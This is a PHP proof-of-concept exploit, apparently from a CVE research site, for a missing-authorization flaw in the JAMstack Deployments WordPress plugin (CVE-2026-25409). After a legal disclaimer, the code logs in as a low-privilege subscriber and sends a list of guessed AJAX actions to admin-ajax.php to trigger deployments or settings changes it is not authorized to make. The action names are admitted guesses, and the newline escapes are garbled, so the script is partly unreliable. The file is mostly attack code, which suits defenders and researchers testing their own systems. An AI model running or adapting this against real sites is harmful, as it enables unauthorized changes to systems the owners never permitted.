CVE-2026-25409: JAMstack Deployments <= 1.1.1 – Missing Authorization (wp-jamstack-deployments)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25409 - JAMstack Deployments <= 1.1.1 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2026-25409
 * Assumptions based on metadata analysis:
 * 1. Vulnerability exists in an AJAX handler
 * 2. Plugin uses standard wp_ajax_ hook naming convention
 * 3. No capability check present on the handler
 * 4. Action parameter follows plugin slug pattern
 */

$target_url = 'https://target-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize session and get authentication cookies
function get_wordpress_cookies($url, $username, $password) {
    $ch = curl_init();
    
    // First request to get login page and nonce
    curl_setopt_array($ch, [
        CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
        CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
    ]);
    
    $response = curl_exec($ch);
    
    // Extract nonce from login form (simplified)
    preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
    $nonce = $matches[1] ?? '';
    
    // Perform login
    $post_fields = http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => str_replace('/wp-admin/admin-ajax.php', '/wp-admin/', $url),
        'testcookie' => '1',
        '_wpnonce' => $nonce
    ]);
    
    curl_setopt_array($ch, [
        CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $url),
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_fields,
        CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
    ]);
    
    curl_exec($ch);
    curl_close($ch);
    
    return true;
}

// Attempt to exploit the missing authorization vulnerability
function exploit_missing_auth($target_url) {
    $ch = curl_init();
    
    // Common AJAX action patterns for this plugin
    // These are educated guesses based on plugin name and WordPress conventions
    $possible_actions = [
        'wp_jamstack_deployments_deploy',
        'wp_jamstack_deployments_trigger',
        'wp_jamstack_deployments_settings',
        'wp_jamstack_deployments_webhook',
        'jamstack_deployments_action',
        'jamstack_deploy'
    ];
    
    foreach ($possible_actions as $action) {
        $post_data = http_build_query([
            'action' => $action,
            'nonce' => 'bypassed'  // Nonce would normally be required but is missing
        ]);
        
        curl_setopt_array($ch, [
            CURLOPT_URL => $target_url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $post_data,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
            CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
            CURLOPT_HTTPHEADER => [
                'Content-Type: application/x-www-form-urlencoded',
                'X-Requested-With: XMLHttpRequest'
            ],
            CURLOPT_USERAGENT => 'Atomic Edge PoC/1.0'
        ]);
        
        $response = curl_exec($ch);
        
        // Check for successful unauthorized access
        if (strpos($response, 'success') !== false || 
            strpos($response, 'deploy') !== false ||
            strpos($response, 'triggered') !== false) {
            echo "[+] Potential successful exploitation with action: $actionn";
            echo "[+] Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
        }
    }
    
    curl_close($ch);
}

// Main execution
if (get_wordpress_cookies($target_url, $username, $password)) {
    echo "[+] Authentication cookies obtainedn";
    exploit_missing_auth($target_url);
} else {
    echo "[-] Failed to authenticaten";
}
?>